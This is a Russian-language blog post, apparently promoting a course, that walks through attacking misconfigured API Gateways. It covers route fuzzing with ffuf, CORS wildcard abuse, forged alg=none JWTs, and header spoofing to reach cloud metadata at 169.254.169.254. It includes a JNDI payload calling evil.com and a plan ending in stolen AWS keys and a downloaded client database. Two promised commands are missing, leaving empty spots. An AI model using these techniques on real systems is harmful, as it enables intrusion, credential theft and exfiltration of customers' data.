Авторские курсы Михаила Тарасова

Эксплойт на API Gateway Bad Config

Эксплойт на API Gateway Bad Config

Точка входа:
Что вижу: API Gateway — типичный misconfig, когда он больше похож на дырявый брандмауэр, чем на сервис. Из любимого: открыт /internal маршрут, обход CORS без preflight, или вообще backend торчит наружу через X-Forwarded-For.
Как поймал: nuclei templates для AWS/GCP API Gateway + ручное fuzzing через ffuf (ffuf -w wordlist.txt -u https://api.target.com/FUZZ).
Чем пахнет: IDOR/SSTI/RCE (в зависимости от того, что сзади сервисит) + вероятность 7/10, потому что cloud-косты режут security, но не бюджет маркетинга.

Эксплойт на API Gateway Bad Config
Почему вообще ломается?
API Gateway часто настраивают как proxy для разных сервисов. Но:
• Default route /{proxy+} ведёт к backend без фильтрации.
• CORS wildcard Access-Control-Allow-Origin: * = твой JS с любого домена может долбить API.
• Отсутствие авторизации на отдельных методах = классика IDOR.
• Забытая stage/test версия типа /dev или /v1beta.
Типичная ошибка: настроили Gateway, но никто не включил Resource Policy. В итоге ты с улицы можешь дергать внутренние методы.

Эксплойт
Допустим, у тебя есть /v1/user/info для авторизованного юзера, но нет строгой проверки токена на уровне Gateway (хреновое правило ANY {proxy+}). Тогда:

Если backend не различает окружение — ты уже в админке.
Обход защиты
• Если WAF ругается — добавь X-Original-Host: localhost.
• Если JWT нужен, но alg=none — ломай jwt_tool и кидай поддельный токен.
• Если private метод только из сети — подсовывай X-Forwarded-For: 169.254.169.254 и лови метадату облака.
Доказательство
Запускаешь:

И если backend шлет Access-Control-Allow-Origin: * + твои данные юзера — родился CORS-based data theft. Видишь JSON с «email», «role» и прочим добром? Это не dummy data. Это путь к P1.

Советы:
3 вектора для добивания:
• Проверь /stage/dev, /test, /swagger.json — там часто лежит готовая карта API.
• Если backend на Lambda — инжектируй payload на SSTI (${jndi:ldap://evil.com/a} или {{7*7}}) и смотри, что вернется.
• CloudMetadata 169.254.169.254: если сквозь Gateway пробивается — лови креды AWS и становись “admin: god mode”.

План атаки:
1. Просканить все доступные маршруты через ffuf.
2. Проверить CORS и аутентификацию (несколько вариантов токена / без токена).
3. Подсунуть X-Forwarded-For и X-Original-Host для обхода.
4. Если открылся доступ к /internal или /admin методам — дампим данные, вытаскиваем роли.
5. Если добрался до cloud metadata — берем AWS keys, идем в aws s3 ls --region=… и скачиваем клиентскую базу.
Этот эксплойт API Gateway bad config — как бесплатный VPN на продакшн: работает быстро, но стоит бизнесу очень больно.

Мои курсы